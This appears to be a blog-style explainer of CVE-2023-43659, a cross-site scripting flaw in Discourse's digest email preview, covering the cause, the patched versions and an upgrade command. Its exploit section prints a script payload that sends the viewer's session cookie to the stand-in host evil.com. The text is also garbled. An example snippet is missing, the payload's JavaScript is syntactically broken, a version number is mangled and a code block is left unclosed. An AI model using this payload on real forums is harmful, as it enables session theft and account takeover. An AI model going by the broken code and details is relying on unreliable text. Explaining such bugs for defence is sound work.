Discourse is a super popular open-source platform for building community discussions—chances are, you’ve seen it somewhere if you’ve ever visited tech or hobby forums. But in 2023, a nasty bug dubbed CVE-2023-43659 put countless Discourse forums at risk by letting hackers sneak in malicious code through the forum’s digest email preview feature.

In this article, we’ll break down exactly what happened, check out some sample exploit code, and show you how to keep your community safe—without needing to be a security expert.

What CVE-2023-43659 Means

A CVE (Common Vulnerabilities and Exposures) number is like an official watermark for software bugs that impact security. Specifically, this CVE refers to a Cross-site Scripting (XSS) vulnerability in Discourse. XSS lets attackers inject JavaScript or HTML into web pages, which can then run in other users' browsers. That means they could steal session cookies, impersonate someone else, or even hijack user accounts.

Here’s the twist: This bug only happened if Content Security Policy (CSP) wasn’t enabled on your Discourse site. Many sites, especially older setups or those with heavy customization, may have CSP turned off to avoid issues with plugins, meaning lots of forums were at risk.

The Bug in Simple Terms

Digest emails are those summary emails Discourse sends out, recapping recent discussions. Before those emails go out, admins can preview what they’ll look like. The problem? If a user snuck in some bad code (like a script) into content—say a post or username—the email preview didn’t properly scrub out or “escape” those scripts. If an admin previewed the digest, the malicious code could run right in their browser.

`

The JavaScript alert pops up while the admin is previewing—proof the code ran.

Now, replace that silly alert with code that steals your login session, and you see why this is bad!

Exploit Details: How It Was Done

Let’s look at a simplified example. Assume an attacker is registered on your forum.

They make a forum post or set a profile name that contains evil code

<script>
  fetch('https://evil.com/steal?cookie='; + document.cookie);
</script>

Step 2: Wait for Admin to Preview Digest Emails

When an admin previews the digest email (under /admin/emails/preview-digest), the unsafe code is rendered inside the preview because user input wasn’t properly escaped.

Step 3: Admin Session Compromised

If CSP is disabled, the browser will execute that script. In this example, it sends the admin’s session cookie to the attacker’s server.

Original Reference and Official Fix

- Original advisory: GitHub Security Advisory GHSA-v6g6-hw7w-85x3
- CVE page at NVD: CVE-2023-43659
- Patch discussion: Discourse PR #21305

Discourse fixed the issue in version 3.1.1 stable and 3.2..beta1. They now escape user inputs in the digest preview, making sure none of it turns into live code.

Upgrade Fast!

If you’re running Discourse, make sure you’re on v3.1.1 or newer, or at least the beta 3.2..beta1 release.

`bash

cd /var/discourse
./launcher rebuild app

Clean Up User Input

Review permissions. Don’t let brand-new users post HTML or rich content. If possible, use Discourse’s built-in restrictions for new accounts.

TL;DR: Don’t Get Caught by Surprise

This XSS bug was both simple and scary—proof that even top open-source software can slip. The key lessons:

Check user-generated content and limit what new members can post.

Stay vigilant, and your Discourse community will remain a safe place for discussion!

*References:*

- GitHub Advisory on Discourse
- NVD CVE-2023-43659
- Discourse PR #21305

Timeline

Published on: 10/16/2023 22:15:12 UTC
Last modified on: 10/19/2023 17:56:26 UTC